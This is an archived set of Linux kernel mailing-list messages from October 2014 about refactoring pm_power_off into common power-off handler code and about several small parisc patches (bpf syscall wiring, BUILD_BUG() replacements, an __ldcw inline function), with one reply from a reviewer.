+++ b/arch/sh/kernel/reboot.c
@@ -11,9 +11,6 @@
 #include <asm/tlbflush.h>
 #include <asm/traps.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_SUPERH32
 static void watchdog_trigger_immediate(void)
 {
@@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 static void native_machine_halt(void)
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
index 50e7b62..cb8148a 100644
--- a/arch/sparc/kernel/process_32.c
+++ b/arch/sparc/kernel/process_32.c
@@ -48,14 +48,6 @@
  */
 void (*sparc_idle)(void);
 
-/* 
- * Power-off handler instantiation for pm.h compliance
- * This is done via auxio, but could be used as a fallback
- * handler when auxio is not present-- unused for now...
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * sysctl - toggle power-off restriction for serial console 
  * systems in machine_power_off()
@@ -112,6 +104,8 @@ void machine_power_off(void)
 		sbus_writeb(power_register, auxio_power_register);
 	}
 
+	do_kernel_power_off();
+
 	machine_halt();
 }
 
diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
index eba7d91..3c0bb03 100644
--- a/arch/sparc/kernel/reboot.c
+++ b/arch/sparc/kernel/reboot.c
@@ -16,17 +16,13 @@
  */
 int scons_pwroff = 1;
 
-/* This isn't actually used, it exists merely to satisfy the
- * reference in kernel/sys.c
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
 	if (strcmp(of_console_device->type, "serial") || scons_pwroff)
 		prom_halt_power_off();
 
+	do_kernel_power_off();
+
 	prom_halt();
 }
 
diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
index 6c5d2c0..8ff4a7f 100644
--- a/arch/tile/kernel/reboot.c
+++ b/arch/tile/kernel/reboot.c
@@ -36,6 +36,9 @@ void machine_power_off(void)
 {
 	arch_local_irq_disable_all();
 	smp_send_stop();
+
+	do_kernel_power_off();
+
 	hv_power_off();
 }
 
@@ -45,7 +48,3 @@ void machine_restart(char *cmd)
 	smp_send_stop();
 	hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
 }
-
-/* No interesting distinction to be made here. */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
index ced8903..a82ef28 100644
--- a/arch/um/kernel/reboot.c
+++ b/arch/um/kernel/reboot.c
@@ -11,8 +11,6 @@
 #include <os.h>
 #include <skas.h>
 
-void (*pm_power_off)(void);
-
 static void kill_off_processes(void)
 {
 	if (proc_mm)
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e99..9490dd5 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -56,16 +56,9 @@ void machine_halt(void)
 	gpio_set_value(GPO_SOFT_OFF, 0);
 }
 
-/*
- * Function pointers to optional machine specific functions
- */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
index 17962e6..5c09e28 100644
--- a/arch/x86/kernel/reboot.c
+++ b/arch/x86/kernel/reboot.c
@@ -30,12 +30,6 @@
 #include <asm/x86_init.h>
 #include <asm/efi.h>
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static const struct desc_ptr no_idt = {};
 
 /*
@@ -647,11 +641,12 @@ static void native_machine_halt(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off) {
+	if (have_kernel_power_off()) {
 		if (!reboot_force)
 			machine_shutdown();
-		pm_power_off();
+		do_kernel_power_off();
 	}
+
 	/* A fallback in case there is no PM info available */
 	tboot_shutdown(TB_SHUTDOWN_HALT);
 }
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index 1a3f044..c2c1d74 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
 
 static void xen_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	xen_reboot(SHUTDOWN_poweroff);
 }
 
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
index 1c85323..c487296 100644
--- a/arch/xtensa/kernel/process.c
+++ b/arch/xtensa/kernel/process.c
@@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
 
 struct task_struct *current_set[NR_CPUS] = {&init_task, };
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
-
 #if XTENSA_HAVE_COPROCESSORS
 
 void coprocessor_release_all(struct thread_info *ti)
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
index ef31b77..f10cf92 100644
--- a/drivers/parisc/power.c
+++ b/drivers/parisc/power.c
@@ -95,8 +95,7 @@ static void process_shutdown(void)
 		/* send kill signal */
 		if (kill_cad_pid(SIGINT, 1)) {
 			/* just in case killing init process failed */
-			if (pm_power_off)
-				pm_power_off();
+			kernel_power_off();
 		}
 	}
 }
diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handler.c
index aeb4736..37f0b88 100644
--- a/kernel/power/poweroff_handler.c
+++ b/kernel/power/poweroff_handler.c
@@ -22,6 +22,12 @@
 #include <linux/types.h>
 
 /*
+ * If set, calling this function will power off the system immediately.
+ */
+void (*pm_power_off)(void);
+EXPORT_SYMBOL(pm_power_off);
+
+/*
  *	Notifier list for kernel code which wants to be called
  *	to power off the system.
  */
@@ -236,6 +242,8 @@ EXPORT_SYMBOL(devm_register_power_off_handler);
 void do_kernel_power_off(void)
 {
 	spin_lock(&power_off_handler_lock);
+	if (pm_power_off)
+		pm_power_off();
 	raw_notifier_call_chain(&power_off_handler_list, 0, NULL);
 	spin_unlock(&power_off_handler_lock);
 }
diff --git a/kernel/reboot.c b/kernel/reboot.c
index 5925f5a..0930851 100644
--- a/kernel/reboot.c
+++ b/kernel/reboot.c
@@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
 		return ret;
 
 	/* Instead of trying to make the power_off code look like
-	 * halt when pm_power_off is not set do it the easy way.
+	 * halt when no poweroff handler exists do it the easy way.
 	 */
-	if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
+	if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_power_off())
 		cmd = LINUX_REBOOT_CMD_HALT;
 
 	mutex_lock(&reboot_mutex);
-- 
1.9.1


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up bpf syscall
Date: Tue, 21 Oct 2014 21:27:06 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20141021192706.GA14227@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413919644 30092 80.91.229.3 (21 Oct 2014 19:27:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Oct 2014 19:27:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 21 21:27:17 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xgf5N-0001eO-MZ
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Oct 2014 21:27:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932609AbaJUT1M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Oct 2014 15:27:12 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57750 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932574AbaJUT1M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Oct 2014 15:27:12 -0400
Original-Received: from ls3530.box ([84.173.30.28]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MU0pN-1XYAeo3l7B-00Qj1x; Tue, 21 Oct 2014 21:27:07
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:OJM0HLcKtVY6qoB9LDsLeNKbS4EvjYlYtcSm//EPONtOi88jdDT
 o79xbZRaEIrEF3asCY4r5sfyfX9nGPiKfM6pvdzTdZidyNJgkMjMyRZmw47z6HQGVT5fbmP
 8ySkqsU6ZnWHEyfwq6tV2oWvuuqfRmL8TgCtRtAqlAYxEkPklFsWl3IWCJDvOSgZSnjr+TX
 B++BLIF5ikhGFL4EmcejA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6180>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 8667f18..5f5c037 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -833,8 +833,9 @@
 #define __NR_seccomp		(__NR_Linux + 338)
 #define __NR_getrandom		(__NR_Linux + 339)
 #define __NR_memfd_create	(__NR_Linux + 340)
+#define __NR_bpf		(__NR_Linux + 341)
 
-#define __NR_Linux_syscalls	(__NR_memfd_create + 1)
+#define __NR_Linux_syscalls	(__NR_bpf + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index b563d9c..d65c50a 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -436,6 +436,7 @@
 	ENTRY_SAME(seccomp)
 	ENTRY_SAME(getrandom)
 	ENTRY_SAME(memfd_create)	/* 340 */
+	ENTRY_SAME(bpf)
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use BUILD_BUG() instead of undefined functions
Date: Tue, 21 Oct 2014 21:29:09 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <20141021192909.GA14247@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413919762 32250 80.91.229.3 (21 Oct 2014 19:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Oct 2014 19:29:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 21 21:29:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xgf7L-0002Yg-8I
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Oct 2014 21:29:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932498AbaJUT3O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Oct 2014 15:29:14 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62113 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755060AbaJUT3O (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Oct 2014 15:29:14 -0400
Original-Received: from ls3530.box ([84.173.30.28]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lskr7-1Y9RWA0N2H-012L01; Tue, 21 Oct 2014 21:29:11
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:+dnxJBD8FcWSzQmKM2q6nhCfoMf3cbBoIZaSS5uwJWtHHvO1E6n
 VRotR0zw1zsi5wJvs402bJrB4v6ttDqS0+aL+u430fVikeadXSbNCii7Zb59tG7mzArx0zr
 dujx8UzdToBLQVo31Ws6TP1MgDvaNtvbM2Nq9TDtrEDhLNgyrkEzfEoava8cxbaUXmQ1Vxs
 0C8fP6NXKDgY3xVxXjjzg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6181>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 4006964..a5cb070 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -9,6 +9,8 @@
 #include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
 
+#include <linux/bug.h>
+
 #define VERIFY_READ 0
 #define VERIFY_WRITE 1
 
@@ -28,11 +30,6 @@
  * that put_user is the same as __put_user, etc.
  */
 
-extern int __get_kernel_bad(void);
-extern int __get_user_bad(void);
-extern int __put_kernel_bad(void);
-extern int __put_user_bad(void);
-
 static inline long access_ok(int type, const void __user * addr,
 		unsigned long size)
 {
@@ -43,8 +40,8 @@ static inline long access_ok(int type, const void __user * addr,
 #define get_user __get_user
 
 #if !defined(CONFIG_64BIT)
-#define LDD_KERNEL(ptr)		__get_kernel_bad();
-#define LDD_USER(ptr)		__get_user_bad();
+#define LDD_KERNEL(ptr)		BUILD_BUG()
+#define LDD_USER(ptr)		BUILD_BUG()
 #define STD_KERNEL(x, ptr)	__put_kernel_asm64(x,ptr)
 #define STD_USER(x, ptr)	__put_user_asm64(x,ptr)
 #define ASM_WORD_INSN		".word\t"
@@ -94,7 +91,7 @@ struct exception_data {
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: __get_kernel_bad(); break;         \
+	    default: BUILD_BUG(); break;		\
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -103,7 +100,7 @@ struct exception_data {
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: __get_user_bad(); break;           \
+	    default: BUILD_BUG(); break;		\
 	    }                                           \
 	}                                               \
 							\
@@ -136,7 +133,7 @@ struct exception_data {
 	    case 2: __put_kernel_asm("sth",__x,ptr); break;     \
 	    case 4: __put_kernel_asm("stw",__x,ptr); break;     \
 	    case 8: STD_KERNEL(__x,ptr); break;			\
-	    default: __put_kernel_bad(); break;			\
+	    default: BUILD_BUG(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -145,7 +142,7 @@ struct exception_data {
 	    case 2: __put_user_asm("sth",__x,ptr); break;       \
 	    case 4: __put_user_asm("stw",__x,ptr); break;       \
 	    case 8: STD_USER(__x,ptr); break;			\
-	    default: __put_user_bad(); break;			\
+	    default: BUILD_BUG(); break;			\
 	    }                                                   \
 	}                                                       \
 								\
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix out-of-register compiler error in ldcw inline
 assembler function
Date: Tue, 21 Oct 2014 21:46:14 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20141021194614.GA14418@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413920791 16683 80.91.229.3 (21 Oct 2014 19:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Oct 2014 19:46:31 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 21 21:46:24 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XgfNv-0001mo-AT
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Oct 2014 21:46:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932642AbaJUTqW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Oct 2014 15:46:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55910 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932630AbaJUTqW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Oct 2014 15:46:22 -0400
Original-Received: from ls3530.box ([84.173.30.28]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MOwY7-1XjgKN1ZR9-006Kao; Tue, 21 Oct 2014 21:46:16
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:J083xPgJSwEC75Jk9coR6gmL5MJHLTmBs4zVhLEFK386Ye5fnvh
 ESVW+LzoWkruDCa6plycYrulgaQTFyHexjxdGvc129IENk2+Y3USXfN0bsUR5oqYnKuDQoL
 Ii7M94GmU+apGmNxGM2aqv6pFTUGJO8QjXVSUfGmNnFT9bi5wYtXqlCZl5A3r0KvkHCZL8A
 rriW6mlklJgEfqHjHoWXg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6182>

Sometimes we face this compiler error:

arch/parisc/include/asm/ldcw.h:39:2: error: can't find a register in class 'R1_REGS' while reloading 'asm'
	__asm__ __volatile__(__LDCW " 0(%2),%0"...
	note: in expansion of macro '__ldcw'
	error: 'asm' operand has impossible constraints

Dave suggested:
Likely the problem can be fixed by making __ldcw a static inline function and
forcing the argument 'a' to a specific register before using in ldcw.

Since it's not easy to reproduce this bug, this patch now tries to still let
the compiler decide on which register should be used. If it doesn't work, we'll
have to assign a specific register as suggested by Dave.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: John David Anglin <dave.anglin@bell.net>

diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
index d2d11b7..b951e01 100644
--- a/arch/parisc/include/asm/ldcw.h
+++ b/arch/parisc/include/asm/ldcw.h
@@ -34,12 +34,14 @@
 #endif /*!CONFIG_PA20*/
 
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
-#define __ldcw(a) ({						\
-	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
-		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
-	__ret;							\
-})
+static inline unsigned int __ldcw(volatile unsigned int *address)
+{
+	unsigned int ret;
+	register volatile unsigned int *a = address;
+	__asm__ __volatile__(__LDCW " 0(%2),%0"
+		: "=r" (ret), "+m" (*(a)) : "r" (a));
+	return ret;
+}
 
 #ifdef CONFIG_SMP
 # define __lock_aligned __attribute__((__section__(".data..lock_aligned")))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix out-of-register compiler error in ldcw inline
 assembler function
Date: Tue, 21 Oct 2014 16:01:00 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <BLU436-SMTP234E0B9D24642C60497B1EB97940@phx.gbl>
References: <20141021194614.GA14418@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1413921653 31271 80.91.229.3 (21 Oct 2014 20:00:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Oct 2014 20:00:53 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 21 22:00:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xgfbp-0007k4-46
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Oct 2014 22:00:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932520AbaJUUAo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Oct 2014 16:00:44 -0400
Original-Received: from blu004-omc4s23.hotmail.com ([65.55.111.162]:60913 "EHLO
	BLU004-OMC4S23.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932478AbaJUUAo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Oct 2014 16:00:44 -0400
Original-Received: from BLU436-SMTP234 ([65.55.111.137]) by BLU004-OMC4S23.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Tue, 21 Oct 2014 13:00:43 -0700
X-TMN: [VY1FSgx3qJRyzEK59wKQ9ASSfFFle8X3]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <20141021194614.GA14418@ls3530.box>
X-OriginalArrivalTime: 21 Oct 2014 20:00:41.0931 (UTC) FILETIME=[B151C9B0:01CFED69]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6183>

On 10/21/2014 3:46 PM, Helge Deller wrote:
>   /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
> -#define __ldcw(a) ({						\
> -	unsigned __ret;						\
> -	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
> -		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
> -	__ret;							\
> -})
> +static inline unsigned int __ldcw(volatile unsigned int *address)
> +{
> +	unsigned int ret;
> +	register volatile unsigned int *a = address;
> +	__asm__ __volatile__(__LDCW " 0(%2),%0"
> +		: "=r" (ret), "+m" (*(a)) : "r" (a));
> +	return ret;
> +}
You could keep the old macro version for 32-bit builds as the problem 
shouldn't occur there.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v2 08/47] kernel: Move pm_power_off to common code
Date: Wed, 22 Oct 2014 17:31:36 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20141022153136.GA11045@linux-mips.org>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
 <1413864783-3271-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413991938 3506 80.91.229.3 (22 Oct 2014 15:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Oct 2014 15:32:18 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net, linux390@de.ibm.com,
        linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux@openrisc.net,
        linux-m68k@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        user-mode-linux-user@lists.sourceforge.net, x86@kernel.org,
        xen-devel@lists.xenproject.org
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Oct 22 17:32:09 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XgxtQ-0006SI-Mp
	for sgi-linux-mips@gmane.org; Wed, 22 Oct 2014 17:32:08 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38895 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012160AbaJVPcGS2pty (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 22 Oct 2014 17:32:06 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 22 Oct 2014 17:31:52 +0200 (CEST)
Original-Received: from localhost.localdomain ([127.0.0.1]:38881 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S27012138AbaJVPbsIkmTq (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 22 Oct 2014 17:31:48 +0200
Original-Received: from scotty.linux-mips.net (localhost.localdomain [127.0.0.1])
        by scotty.linux-mips.net (8.14.8/8.14.8) with ESMTP id s9MFVg43011579;
        Wed, 22 Oct 2014 17:31:42 +0200
Original-Received: (from ralf@localhost)
        by scotty.linux-mips.net (8.14.8/8.14.8/Submit) id s9MFVakT011578;
        Wed, 22 Oct 2014 17:31:36 +0200
Content-Disposition: inline
In-Reply-To: <1413864783-3271-9-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 43491
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
